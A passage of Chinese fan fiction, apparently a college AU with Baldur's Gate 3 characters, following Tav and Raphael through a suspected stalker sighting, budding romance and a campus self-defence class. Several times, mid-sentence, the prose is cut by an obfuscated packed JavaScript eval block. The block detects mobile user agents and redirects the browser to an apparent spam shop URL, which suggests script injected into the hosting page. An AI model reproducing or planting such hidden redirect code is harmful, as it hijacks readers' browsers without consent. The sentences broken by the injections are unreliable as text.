“别担心。这是我的契约,我当然会得到我想要的。” “那是什么?”塔夫问。 拉斐尔没有回答:“事实上,我能够得到的似乎比预想中更多。” 他指的一定是找不幸、看乐子!哪怕他不是主动的幕后推手。塔夫重新忿忿起来。肯定是,他甚至还把阿斯代伦拉过来一起看! . 二人回去的路上再次经过活动中心,塔夫要拉斐尔稍等,在灯火明亮处,想把《不幸》抽出来还给他。 结果不但没有成功,反而被顺势塞了第二卷。 塔夫只觉得那灰皮书十分烫手:“……” 拉斐尔仍是一脸理应如此:“有伏笔,你会需要的。” 塔夫立刻放弃,收好两本书,因为她深知自己没办法很快说服对方,而她并不想一路上同拉斐尔为这点事斗嘴。 接连两次在拉斐尔那里“受挫”,塔夫升起更多斗志。当拉斐尔问起她对第一卷的看法时,她一吐为快,口齿的清晰伶俐程度一下上了两个台阶: 荒诞的情节,痛苦的幽默,嘲弄却又带着一股子无可奈何,逃不开的环境与个体的冲突和不协调。 最后,她话锋一转:“虽然很有意思,但这种故事,给小孩子看也太过灰暗了。” 甚至会扭曲性格!她眼前就是一个最好的例子。也难怪其他人——她、影心、还有威尔——听都没有听说过。 “谁会在小时候想这么多。”拉斐尔笑着望向她,“倒不如说,荒诞是幻想,而痛苦、嘲弄和冲突,都是勇气与反抗。” 这是在说她过度解读吗?塔夫立刻道:“你之前举例的感悟,可也不见得有什么童趣。” 拉斐尔唔一声:“那是当时回忆起来的想法,属于那个时刻。” 塔夫想起自己之前的猜测:“你看书或者回想起来的时候,代入的难道不是孤儿,而真的是他们的坏亲戚?” 拉斐尔轻蔑道:“怎么可能?他可是留着丑陋的山羊胡子,发际线后移到几乎秃顶。” 塔夫诧异之至,大骇:“???”居然是这个原因?而不是因为他是个满肚子坏水的反派角色吗?! “噗。” 瞧见拉斐尔因为成功捉弄自己,脸上露出得意的表情,塔夫又好气又好笑。这家伙说话总是半真半假,或者说,他的真话也不能全信。不过她还是能分辨出哪些是玩笑话,比如,她没有用十四磅字写一整页读后感。 她又问:“既然如此,你代入的也是孤儿啰?”那能有代入感吗? “为什么需要代入?我可以在一旁观察所有角色。” 塔夫张了张嘴,又重新合上。她看书时立刻对孤儿感同身受,但拉斐尔不一样。她忽然又有些理解——他始终是旁观者和观众。尽管心里转过各种想法,她最后只是点点头:“好吧。” 拉斐尔却继续打趣起来:“也许当时是代入了的,毕竟我的确有头衔和财产继承。” 塔夫忍不住白他一眼:“呵呵。原来是这样吗。我代入的原因倒是和你不太一样呢。” 她正准备再讽刺拉斐尔几句,却想起他昨晚提到“也许”存在的兄弟姐妹,说不定也有打他财产主意的亲戚。这让她竟一下说不好拉斐尔到底有几分玩笑,心里更是忽然为他难过起来。 拉斐尔像是想起同样的事,慢慢收回笑容。过了片刻,他带着某种温柔的小心翼翼,轻声问:“你代入……主角,是因为你的提夫林姐姐?她是被收养的?” . 塔夫愕然望向拉斐尔。 他刚才所想的,却是她昨晚的话? 塔夫五味陈杂。她当然知道拉斐尔很敏锐,她没有掩饰而且这联想也并不困难,但她还是有些意外他仍惦记着自己的事,并会用这种体贴的语气问出来。 她抿抿唇:“这会是个有点长的故事,也不是很有意思。” 除了影心,塔夫没有主动和别人提起过自己被收养的背景。哪怕对影心,她也只是略微说过一些。 她并不以此为耻,或者怕别人因此瞧不起她。但她的确有所担心——她怕别人会因此怜悯她。 她一向觉得自己很幸运,贾希拉和卡菈克都是再好不过的人,既是亲人也是朋友。可她无法控制别人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989495|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应。哪怕她再怎么说自己感到幸福,也免不了激起别人的怜悯,而且更加感动于她的“坚强”。 就如同她当初得知影心的经历时,哪怕影心是笑着说的,她还是替她感到难过,甚至要影心反过来安慰自己。也许这是种双重标准——她知道那情感再自然不过,她自己也会有类似反应,但她还是不喜欢面对:因为一个她无法改变的过去,而成为被可怜的对象。 那好像在提醒她说,她永远也走不出过去的影响,即使她明明已经走了出来。 拉斐尔眼神还是那样专注深邃,和昨天一样的用心倾听的表情。塔夫却下意识地做了一个深呼吸,这才能微笑着轻松道: “而且,卡菈克不一定希望别人知道,所以我还是不说为好。” 借口太过生硬粗糙,但拉斐尔只是理解地笑笑:“无妨。” 塔夫却感到自己被看穿了,又觉得拉斐尔那笑容莫名有些熟悉,很快想起米佐拉也这样对她笑着说过“没关系”。 贵族连反应表情都是一样的吗?塔夫心情更加复杂,也许她不喜欢被怜悯,还是因为怜悯是某种自上而下的俯视?如同贵族高高在上的施舍? 但她几次因为拉斐尔偶尔提起的事,为他感到难过——刚才也是如此——而她对他可并没有任何优越感。 不过虽然她认为自己并不是如此,像拉斐尔那样骄傲的人,如果知道“她”居然在同情“他”,恐怕会怒不可遏。事实上,她刚才只不过提出,也许剧团可以为他做点什么,来弥补对他的“不公平”,拉斐尔的反应便是直截了当的拒绝和嘲弄。 . 塔夫越想越矛盾,反而更想弄清楚了。 明斯克或者小布一定会有直白但不无道理的话,类似“情感很复杂,不会泾渭分明”。 卡菈克会听完她的讲述后说:“唔,嗯。好吧,我刚才其实在某某处就开始走神了,你想再说一遍吗?”不过,很多时候她其实只是需要一个听众。 她一时想象不出来母亲会说什么,但她突然很想她。 . 拉斐尔见塔夫默默不语,心里不免懊恼。 她刚说完与自己“代入的原因不同”后,情绪就有些低落下来。他希望她快活起来,但同样想知道她为什么会感到苦恼。 他很快就有了一个推测——卡菈克,或许塔夫自己,是被收养的。他越想越觉得可能,不过那毕竟只是推测。他需要先知道原因才能理解塔夫的情绪,也许安慰,也许想办法让她从中走出来。 他似乎询问得太过直白,她很惊讶,他居然直接这样问出口。 她一定在想这些事,但她并不想告诉“他”。 为什么。拉斐尔几乎感到一种被拒绝的恼怒。 不,她认为他是一个很好的倾听者,也很可靠。 她信任他,只是还不足够,他需要做出得体的反应。 微笑,然后表示理解。 有更多亲密和信任后,她便会告诉他。 …… 她会吗? …… 忽然,塔夫停下脚步,猛地将他拽到一旁,低声说:“嘘!那人看上去很可疑!” 拉斐尔却先看看塔夫抓在自己小臂上的手指,又望向她机敏警惕的侧脸,心里一瞬平静下来,甚至忍不住微笑。 在她曾嘲讽的“贵族身份的外壳”之下,他一直有一个属于自己的东西。耐心。 她当然会的。 只要他一直在她身边。 . 42.跟踪 回宿舍的近路上。 塔夫藏在树后,躬身探头,紧紧盯着面前。 那是一个看上去很有些可疑的背影。中等身高,背宽头尖,半长头发垂过耳朵,胡乱向各个方向翘着。 这个时间,他没有赶路回自己住处,却在去女生宿舍的路上不紧不慢地晃着。而更远一些,是一个苗条的背影,淡金色长发辫成一根粗辫子,发尾一直垂到膝盖。 “是跟踪狂!”塔夫仔细瞧着那人走路不出声音的样子,心里愈发肯定,比了个手势低声说,“我们小心跟在他身后,别被他发现。” 拉斐尔在她耳旁轻笑一声:“你是认真的?” 塔夫反射性地打了个哆嗦,差点叫出声,皮肤也激起一层战栗。她得找机会告诉拉斐尔,别在她耳边说话或吹气了!至于现在,她只能咬牙瞪他一眼。 拉斐尔正望向那个可疑背影,轻声道:“我们两个才更像是跟踪狂。” 他离她很近,塔夫看着拉斐尔,不由自主地轻轻吞咽了下。 难怪说灯前观月,月下观美人。月光下,拉斐尔发丝泛着淡淡银色,皮肤肌理透着柔和而又蓬勃的光泽,五官却因为阴影更显立体,甚至能看到他唇峰的棱角,整个人比在夕阳下更添一分深邃。 他长得可真好看。 拉斐尔没有等到回答,重新看向塔夫。她下意识转过脸不去看他,拉斐尔又在她耳边带着笑意问:“那我们要跟上吗?亲爱的大侦探塔夫。” 塔夫向前躲了下,并再次唾弃自己不分时间场合地沉迷美色:“我们走。”她小声说,接着立刻补充,“但请不要直接在我耳边说话了,会很痒。” 拉斐尔的回答是呵着气一声:“哦?”他又低笑道,“我知道了。” 虽然这次不是在耳边,塔夫还是觉得身子一麻。谁好好说话的时候会吹气?这家伙肯定是故意的!她又狠狠瞪拉斐尔一眼,跟踪,咳,调查正式开始。 二人远远跟在那人身后,时不时在树后遮掩行踪。 眼见最前面的女生快走到宿舍塔楼,塔夫心里有些焦急,一方面希望那人赶快做点什么,好人赃俱在地将其捉拿归案,一方面又暗暗希望这最好不是跟踪,否则校园也太不安全。 突然,那女生一甩辫子,猛地转过身:“你!” 不单单是那跟踪狂,连塔夫都吓了一跳,及时躲到一棵粗大的山毛榉树后,又立刻微蜷着身子小心探出头。 男子已经几步走到女生身前,低声说着什么。 “……他……找我……”女生的声音忽高忽低,断断续续传来。 她皮肤淡得如同月光,毫无血色,眼瞳颜色极浅,近乎惨白,整张脸如同易碎的瓷器。 “我知道她!”塔夫惊讶,“她是奥林!” 拉斐尔声音从头顶直接传来:“嘘。” 塔夫连忙噤声。 那男子又说几句,可惜塔夫听不大清。忽然,奥林声音提高一个八度,厉声道:“……我不会回去!” 塔夫又被吓了一跳,向树后一躲,却直接撞进拉斐尔怀里,感到肩背传来的温度,顿时更加慌张。拉斐尔其实并没有在她身后,而是身旁。但他探过大半个身子,下巴几乎挨着她头顶,刚才那一下恐怕被她撞得不轻。 但拉斐尔没有呼痛,反而扶住她的肩膀,又说:“嘘。” 这次却离她耳朵很近。塔夫又气又痒,再次觉得拉斐尔是故意的,简直分外可恶。但他半拥着她,仍从树后向外望,仿佛根本没意识到贴着她。接着,她耳旁再次响起低沉悦耳的声音:“他来了。” 那声音带着一半气音,似乎还有些颤抖。塔夫半边身子酸麻,又被拉斐尔惹得紧张起来:“怎么办?”她不会真的变成跟踪狂了吧! “转过身。”拉斐尔声线恢复沉着。 塔夫一转过身,肩膀便被拉斐尔重新轻轻揽住,不由得一愣。 这是什么?扮作不愿分开的情侣? 那这实在算不上拥抱,两人站得能有一步远,身子都有些僵硬。她顶多只是肩膀倚在拉斐尔胸前,头勉强靠在他肩膀。 鼻端传来淡淡龙舌兰香,塔夫心跳一点点加快,却忍不住偷偷闻起来。 她发觉拉斐尔身子似乎有些绷紧,猜到是那人靠近,也紧张地一下站直,却从拉斐尔垂下的目光中看到闪烁的讶异。 这直挺挺相对而站的样子的确太奇怪了。塔夫连忙靠近半步,手虚环向拉斐尔腰间,正想要侧头看那男人走到哪里,就被拉斐尔再次搂住。这一次,他手直接贴在她背上,微微用力,她整个人便靠在他身前。 他甚至俯过身,让她可以更舒服地枕在他肩膀。 也可以更方便地闻到他颈侧好闻的气息。 塔夫慢慢地深深地吸一口气,又不由自主地蹭了蹭他的脖子。拉斐尔身子一颤。塔夫一下惊醒,觉得自己这行径更像一只动物,仅是靠他的气息便能被迷住,连忙伪装成是在越过他肩膀向后看。 这一定才是拉斐尔特意俯下身的意思。 她余光扫到那男子走过,垂下眼睛又干脆闭上,过了一会才重新睁开,那人已经走到小路尽头。 “他已经走了。”塔夫轻声说。 拉斐尔却没有松开她,反而更用力地收紧双臂。 塔夫呼吸一窒,难不成拉斐尔背后也长眼睛?直等到男人身影彻底消失,她才在拉斐尔背上拍了下:“好了。这次是真的走了。” 拉斐尔松开她,看向小路两端,又慢慢从树后走出。 塔夫仍躲在山毛榉后,后知后觉反应过来刚才那幕。 她在怕什么?她也是博得安大学的学生!该害怕的应该是那个人才对!而且,这条路虽然是近路,却也不是什么密道,有人走是很正常的。 她一开始为什么没有想到? 慌乱下她信任拉斐尔的判断,把自己的脑子直接丢到一旁了。拉斐尔也真是的! 塔夫越想越窘迫。她想说服自己这不算什么,但刚才那气氛、还有她的心跳和反应,让她实在没办法欺骗自己。现在的沉默也令人尴尬,塔夫强迫自己重新思考,轻轻清了下嗓子,仍压低声音:“那人就是跟踪狂?” 不等拉斐尔转过身看她,塔夫已经立刻提议:“可以作为线索,明天交给校警。” “先等等。”拉斐尔回复得很干脆。 塔夫惊讶:“这难道是为了我们周六的安全教育吗?” 拉斐尔怔住,又直接询问:“为什么这么说?” 塔夫解释起自己跳跃的思路来: 校警得到嫌犯线索,大概会询问奥林,接着发现这并不是随机的跟踪,而是另有情况,于是直接取消了还没有通知的安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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拉斐尔重新皱起眉。 塔夫立刻决定今晚就到这里:“周六见!”转过身便准备开溜。 拉斐尔居然直接伸手压在她肩膀:“等一下。” 糟糕。而且为什么他这动作这么自然?塔夫心里暗暗叫苦。拉斐尔以前都很——也许不算疏离,但至少礼貌客气地保持社交距离。刚才那个拥抱不会直接解锁了肢体接触吧?她可是会多想的,实际上她已经打算回去慢慢多想今天晚上发生了什么。 塔夫不情不愿地回过身,但脸上已经摆出无辜的表情,可怜兮兮地望了望拉斐尔又垂下眼睛。要知道,她每次用这招对贾希拉或卡菈克求情,可都是很好用。 拉斐尔却一直没有说话。 塔夫忍不住瞄他一眼。他居然在发怔,神情还有些痴痴的。塔夫又好气又好笑,却比以往多了一份羞赧。这傻瓜,盯着她想什么呢。 虽然她觉得对方那模样怪可爱的,但毕竟时间不早,不得不主动请他开口:“咳嗯?” 拉斐尔像是从梦中惊醒,接着有些疑惑地望向她:“?” 塔夫更好笑了:“还有什么事吗?” 拉斐尔这才清了清嗓子,又立刻重新轻咳一声:“我们……还有四周时间。” . 43.关系 爬上楼梯,塔夫有种从绵软云彩中走出的感觉。 四周。 虽说是四周,扣掉一周阅读自修,一周期末考试,其实只有两周,即两次全员到齐、完整排练的机会。前提还是下周顺利拿到设施管理中心的报告,并得到学务长同意,重新开始社团活动。 不过期末考试结束后,离校友返校的那个周末,倒是还有至少整整五天的准备时间。 对于课业,塔夫反而没那么担心。虽然她这学期还是选了五门课,不过其中一门是没有期末考试的文献阅读,其他功课也都胸有成竹。但是…… 不知道为什么,她觉得这倒计时,也是摆在她和拉斐尔关系旁的沙漏。 她和拉斐尔现在是什么关系。 她又想和他有什么进一步的关系。 . 回到宿舍,见到影心,塔夫先立刻同她说起在小路看到奥林和可疑男子的事:“那就是之前的跟踪犯?” 影心也说不好:“如果他是来找奥林,之前为什么跟踪其他人?” 讨论几句,最后结论还是,保护好自己,尤其是现在快到期末的时候。 接着,话题又转回奥林头上。 她有些名气,不过不算是好名气,而是她有点疯颠颠的。说起奥林时,人们也总会提到她的母亲,一位很少露面的贵族女士。奥林和她母亲长得一模一样,同样瘦削的肩膀,窄平的额头,微笑时会向上弓起的饱满的唇。 以及另一个骇人的传闻:奥林的母亲,既是她的母亲,也是她的姐姐。 塔夫一开始还没有听明白,直到影心更直白地说,奥林的父亲,既是她的父亲,也是她的外祖父。哪怕影心对很多事情持相当开放的态度,这也是“超出想象的可怕禁忌”。 而招致这悲剧的原因,居然是因为奥林的父亲——或外祖父,对于贵族血统有着疯狂的追求。 “贵族其实都是这样,否则家族间的联姻也不会那么普遍。不过,为了保证自己家族血统的‘纯粹’,做出这种事情,也是闻所未闻的。” 奥林对此事是肆无忌惮地公开嘲弄,并因此得到“疯癫”的评价,这反而让人不确定这到底是不是一个真实的丑闻——否则她怎么会不以为耻,还敢出现在其他人面前呢? 塔夫和影心对此都很不以为然,难道要奥林一辈子躲躲藏藏才是正确的? 但可以确定的是,奥林拒绝联姻——对方是和她有血缘关系的某个表哥(影心:“没准还是同父的亲哥哥。”),直接离开了自己的家族,并一直蔑称他们为“只知道配种的愚蠢猪猡”。 除了对奥林的命运感到唏嘘,影心最后再次感慨:“有时候,贵族简直像是生活在另一个世界。” . 塔夫躺在床上,乱麻中又添了一根线头。 如果是以前,她的想法大概会是——同拉斐尔保持距离,别和他、和贵族扯上关系。然而现在,她却联想到他的“也许”和某些反应,心里激起更多怜惜,想要知道更多他的事。 意识到这点后,她一下想通了很多:这两天的种种情绪、猜测、有时过分刻意地不愿去多想。 但她其实想要了解拉斐尔,她想要理解他,她想要…… 喜欢拉斐尔。 她已经有点喜欢他,而且也不想压抑了。 只不过现在,她还有更重要的事。 ——申请医学院,申请奖学金。 为此,她需要保持成绩,并拿到推荐信。 接下来,她首先需要安稳度过这次期末,然后确保演出成功,得到全部所需的申请材料。这一切没问题后,再说拉斐尔。 虽然时间上意味着她和拉斐尔的契约结束,即二人目前关系的终止,但正如里萨所说,乌云也会镶着银边。 事实上,契约反而让事情复杂起来。由于契约的存在,拉斐尔所做的,常常让她分不清他到底是为了完成同她的约定,还是因为他其实也对她感到动心。 如果她现在有所表示,拉斐尔可能会因为契约做出模糊的反应。但等到契约结束的话,她便能更明白他的态度。 塔夫愉快起来,心里充满期待,又不由想起拉斐尔对契约的那番话。 当她觉得这交易对他不公平时,他说他会得到想要的,甚至更多。所以很显然,让威尔低头并不是拉斐尔唯一想要得到的。 他想要什么?和她是有关系的吗? 塔夫想起晚上与拉斐尔的拥抱,还有之后他那副怔怔的样子,忍不住轻笑出声,又赶快把头埋在枕头里。 说不定他自己也搞不清楚呢。 . 拉斐尔几乎对自己感到失望。 他刚刚引以为傲的耐心,在说出还有四周后,就立刻出现裂隙。 如果契约结束,他似乎就没有其他理由继续出现在塔夫身边。她成绩优异,谈吐举止大方可靠,还有盖尔的推荐信,一定能够很轻松地申请到任何医学院,最高奖学金也极为可能。 他当然可以在面试上为塔夫提供帮助,至少能够安排她同医学院的教授、医生,以及奖学金评审委员会某些成员的提前会面。但她当初就没有接受他的这个提议,又怎么会突然改变主意。 塔夫知道自己想要什么,也清楚自己在做什么。 她感谢他的帮助,可是如果没有被卷入威尔的事,她根本无需这些帮助。也许她会遇到些麻烦,但也能同剧团一起解决。如果没有他,她现在大概会同样有条不紊地准备演出,准备期末,充满干劲和希望。 塔夫…… 并不需要他在她身边。 这个想法令拉斐尔不得不做了一个深呼吸,这才能继续思考下去,但思绪却杂乱起来。 他需要找到另一个切入口,另一个塔夫需要他的地方。她喜欢帮助别人?所以才想成为医生?他可以在这方面提供条件……或许她的姐姐和仓鼠小布有什么心愿,但无法实现,他也可以…… 然而,这一切都建立在他更了解塔夫、而塔夫也肯接受他的前提上。 他只有四周,不,五周的时间。 . 拉斐尔终于回到住处。 哈勒普对他的又一次晚归没有任何疑虑,向他确认明天的安排后,又提起奥林:“她的家族希望她回去。” 拉斐尔轻轻皱了下眉,不过这便足以鼓励哈勒普继续说下去: “他们不介意等到她毕业,不会追究她对家族的诋毁,也会恢复她的继承权,包括她……母亲的一份。要求则是,一切保持低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那并不重要。重要的是,要她不能拒绝他。他要让她没有其他选择,只能接受他提出的要求,重新签订新的契约,继续留在他身边。 拉斐尔像是终于定下心来,踏入淋浴,打开龙头,洗净后又同往常一样,从温水慢慢调向冷水。 受冷水刺激,他的皮肤微微发烫,心情却也随之重新燥闷起来。 他可以利用奥林和最近的跟踪事件,也可以利用威尔、剧团、或者塔夫的朋友影心向她施压。然而,这些只会起到反效果。 他猛地关上水,为自己迟迟没有意识到这一点感到恼火。 他想要怎样的效果? 如果他想要塔夫对自己低头,他几天前其实已经取得了游戏的胜利、至少是宣告胜利的机会——无论塔夫道歉是否出于他的直接计划——但他把那机会轻轻放下了。那么现在,他到底还想要什么。 拉斐尔发现自己在回避这个问题,皮肤居然生出战栗。 他想要……喜欢塔夫。 可又不仅如此。 水珠从发梢滴下,有的顺着脸颊滑过脖子,有的直接落到地上。 拉斐尔抬起手,无意识地抚着颈侧,不得不承认这个近乎屈辱的的念头。 他想要塔夫……也喜欢他。 . 44.自卫 直到迷迷糊糊睡着,塔夫仍没有想出来拉斐尔到底想要什么。 不过,她想通的事已经足够——翌日,她觉得整个人精力满满,无论期末、论文、小组讨论、还是社团活动,都完全不在话下。 并不意外,设备管理中心仍没有完成报告。不过那没有关系。 而校园警察,则终于在上周末跟踪发生过后的第四天,在几乎每个学生、大部分教授、甚至餐厅的矮人大叔都听说并谈论起这件事后,姗姗来迟地挂出警告,要大家注意安全。 并如同拉斐尔提到的那样,校警会在期末前的三个周末,每天下午和晚上各增设一次安全讲座,以及讲座后的自卫防身课程。 塔夫是和影心一起在学生餐厅看到的告示。 那时,矮人大叔正挽着袖子,挥舞着毛茸茸的粗壮手臂发表意见: “这可能发展为非常严重的校园恶性事件!这让我想起六年前的餐厅食品储藏室连环盗窃案!我感到十分不安全! “什么?是的,那次的罪犯是一伙有组织的浣熊。喔哦,我很惊讶还有学生知道。 “不过这正是我的意思!这次也可能是‘有.组.织’的犯罪!我们需要更多行动! “真正的行动!” 影心则继续嘲讽校警:“所以,他们的意思是,靠我们来捉住嫌犯?” 塔夫其实对自卫课程有点兴趣,跃跃欲试:“人人皆警。你想去看看吗?” 影心耸耸肩:“我就算了。我觉得哈尔辛的威慑力已经足够。” . 吃完晚饭回来后,塔夫还撞见奥林。她想了想,告诉对方自己看到了昨晚发生的事,又询问:“需要宿舍委员会,或者学院,或者学校介入吗?” 奥林的笑容看上去既高傲又危险,浅色的眼睛几乎像灯泡一样亮:“一定有不少人听见什么。但是你,你看见了?” 塔夫决定不回答,继续自己的问题:“你怎么想?” “我的想法是,”奥林勾起唇,摸上她肩膀,凑到她耳边轻声说,“管好你自己的事。” 塔夫反射性地打了个哆嗦:这到底是怎么回事?她的耳朵看上去是树洞吗,谁都要凑过来说一嘴! 不过她倒没生气,既不惊讶奥林防备心很强,也没有把这件事告诉别人。 . 晨昏交织,日月相连,时间很快到了周六下午。 塔夫终于撞见这几天来第一件令她摸不着头脑的事。 拉斐尔衣服的香味实在是…… 出于礼貌,塔夫决定用扑鼻而不是刺鼻来形容,并猜测他不是洗衣服时多加了柔顺剂,就是衣服没有完全漂净! 这可真是稀奇。 不过拉斐尔似乎仍是从训练赶来,却特意换了衣服。所以,他匆忙中没办法注意到这些倒也说得过去。 而且塔夫知道自己嗅觉比别人灵敏很多,因此只是轻轻皱了下鼻子:“这里登记名字。” 同剧团一起晕沉沉重新接受过安全教育——偶尔被后排拉斐尔的衣服香味刺激得清醒一下,塔夫特意与中尉确认每个成员的名字都登记在册,并得到了这位半兽人格外赞许的眼神: “你带着整个社团来听讲座?很好!” 塔夫正俯身确认名单,含糊答道:“唔。” 中尉在她肩膀上拍了拍,准备把她们当作正面例子来宣传(谢天谢地,她没有在她耳朵旁说这话)。而考虑到这也许可以给剧团演出预热,塔夫没有反对。 安全讲座终于结束,菲拉要与里萨和萝拉一起去镇上找心理咨询师(菲拉偷偷朝塔夫抱怨:“里萨非要邀请萝拉一起去一起回。”),又约好周二一起去管理中心拿报告。 塔夫看看时间,决定兼职开始前,参加接下来的防卫课程。 令她有些吃惊却又不算太惊讶,拉斐尔得知她的打算后,镇定地表示,他同她一起。 “我觉得你的威慑力已经足够了。”塔夫用上影心的话,又比了比身高,“哪个家伙会这么没眼力地找你麻烦?” “还记得《不幸的故事》吗,我一直想学防身手段。”拉斐尔沉着应答,“场地在另一处。我们可以出发了。” . 跟踪犯有没有眼力塔夫不清楚,教授自卫防身课程的下尉大概不太懂得看气氛。 防身课在一间挺宽敞的舞蹈练习室里,地上铺着黑色软垫,一面墙上有八扇高大的窗户,窗户对面的一整面墙上则贴着镜子。 然而这么一大间屋子里,一共只有六个人。下尉警官和一名半身人学生是男性,剩下四人是女学生。塔夫和拉斐尔走进练习室后,下尉激动极了,快步迎了过来,一把拍在拉斐尔手臂上: “我一向认为,男生也应该来多多参加这门课!这又不是女子防卫术!” 半身人男生有些尴尬地笑着。而两位女生似乎认出拉斐尔,立刻开始咬耳朵,也吃吃笑起来。 拉斐尔微微皱起眉,塔夫忍不住对他说——但因为拉斐尔太香,所以不得不保持着一段距离:“如果你改变主意的话,没关系。我并不需要人陪。” 不等拉斐尔回复,下尉先警觉起来,立刻道:“时间差不多了,应该不会再有人来,我们现在就提前开始!”他抓住拉斐尔胳膊,直接把他拉到房间中央,“你可以和我一起来当袭击者!” 塔夫:“……噗。”拉斐尔这次是真的要代入坏人角色了! 虽然这样说,下尉还是很快就让拉斐尔同其他人一起坐在垫子上。 拉斐尔似笑非笑来到塔夫身旁,刚一坐下,塔夫就立刻被香得挪开半身距离。拉斐尔表情更加古怪,像是咬着后槽牙,又重新靠过来。塔夫又好气又好笑,瞪了他一眼,指指面前:别玩这种幼稚游戏了,镜子里可是看得一清二楚! 她这才再次挪开一段距离,姿势也从抱膝坐改成盘坐。 没想到拉斐尔下定决心,不仅一定要坐在她身边,距离也非得足够近——必须要她能闻到他衣服上的香味那么近——才肯罢休似的。 塔夫:“……” 偏偏下尉上课时居然很是严肃认真,还有随机提问环节。 “自卫防护术的目的不是要打倒对方,而是在出其不意的情况下攻击,使对方暂时失去或降低行动力,从而提高自身的逃跑机会。”他突然指向塔夫, “你来回答!如果被对方缠住,应该说什么?” “别再凑过来了!”塔夫大声道,“你怎么这么烦!” 下尉愣了愣才说:“错!”他恨铁不成钢地摇摇头,“不能用言语或行为挑衅对方!要用言语安抚!不过现在错没关系哈。” 塔夫:“……” 借此机会,拉斐尔成功坐到塔夫身边,得意洋洋地比口型:安抚。 镜子里,两个女生咬耳朵咬到飞起,也被下尉点名提问:“见到坏人第一时间应该做什么?” 女生声音响亮而又低沉,充满威慑力:“踢.他.蛋.蛋!” 全体对她行注目礼。 镜子中,半身人下意识捂紧下身。 “……”下尉表情狰狞,“错!要保持距离!而不是挑!衅!你,还有你,你们都太冲动了!防.卫.失.败!不过这正好说明,你们来参加这门课是很正确的决定哈。” 被点到的塔夫和女生:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020178|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所以到底是为什么,这种课还需要提问啊?! . 啼笑皆非中,总算到了实践环节。 下尉介绍并简单演示了几个动作,并分为三种情况:坏人从后抱,坏人从前抱,坏人抓住手。 通常来说,袭击者会选择力量比他弱的对象下手,因此这次教授的防身手段没有任何硬桥硬马,全部是瞄准对方弱点,如:掰手指,戳眼睛,拉头发撞下巴,踩脚,踢膝盖等等。 女生们都跃跃欲试起来,拉斐尔面无表情,看不出是否后悔参加。 “好,我们现在分成两人一组,开始练习。”下尉大声道。 拉斐尔重新露出微笑。 塔夫:你不要过来啊! 下尉很给人以安全感地拍拍拉斐尔手臂:“来,我和你一组,给大家示范。” 拉斐尔笑容格外和善:“她需要我。” 塔夫屈服于淫威之下:“是,是的。” 拉斐尔面无表情对下尉:“瞧,半身人同学落单了。他更适合扮演受害者。” 大块头的下尉警官一脸委屈,不得不和同样一脸委屈的小个子半身人一组。 两人来到众人面前,下尉半跪在半身人身后,开始真人演示:“掰手指!”他双手伸向半身人小腹,紧紧扣在那里,“用一整只手握住一根手指头,反方向用力掰!来,你试试看。” “如果掰断了坏人手指怎么办?”半身人问。 “比起担心坏人,还是先担心你自己!”下尉厉声说,又一声呼痛,“这次只是演示,没必要来真的!” 但他很有敬业精神,忍着痛继续道:“瞧,这个时候,坏人都会不由自主地松开手,你就借此机会向前迅速逃跑!越远越好!” 半身人从善如流地几乎跑出教室。 下尉:“……” 大家嘻嘻哈哈准备练习,下尉再次厉声:“都严肃些!你们面对的可是坏人!” 塔夫忍着笑,轻咳一声问拉斐尔:“那,我先来演坏人?” 拉斐尔瞥她一眼:“你挑我下手?这么没眼力。” 塔夫不怒反笑:“你这是把我之前的理由反过来用在我身上?” 拉斐尔理直气壮:“下尉刚才说,这次的技巧都是弱针对强。”他说“弱”时指着塔夫,说“强”时又点了下自己。 下尉正巧在二人身旁,大声赞许:“这位男同学听得非常认真啊!很好!” 塔夫:“……” 虽然校警在正事上不干活,但情绪支持每次都给得很足是怎么一回事? 于是,拉斐尔成功得到坏人的角色。 塔夫一边束起头发一边环顾周围,觉得肯定不是自己多想。比如,从拉斐尔一进来就没停下嘀咕的两个女生就一定和她持相同看法。 一男一女玩,咳,练习防卫术,看上去就很能吹起粉红色泡泡。 拉斐尔看上去有意避免,而且也有身高手长的优势,但二人还是少不了肢体接触碰撞。 不过此时,不幸变成了幸运,拉斐尔衬衫上那能把人香晕倒的味道,直接冲跑了塔夫任何可能的暧昧念头。 ——虽然她是喜欢拉斐尔,也还是受不了这么刺鼻的香味! 当她握住拉斐尔的手指时,哪怕屏住呼吸,那香味仍是坚持不懈地钻进鼻孔甚至眼睛。她终于忍不住,红着眼睛挖苦一句:“你这次用什么洗的衣服?是不小心打翻了香精吗,这么香。” 拉斐尔若有所思地唔一声,居然回道:“我可以给你一些。” 塔夫:你可饶了我吧! 下尉:这位同学你轻点掰啊! . 45.镜子 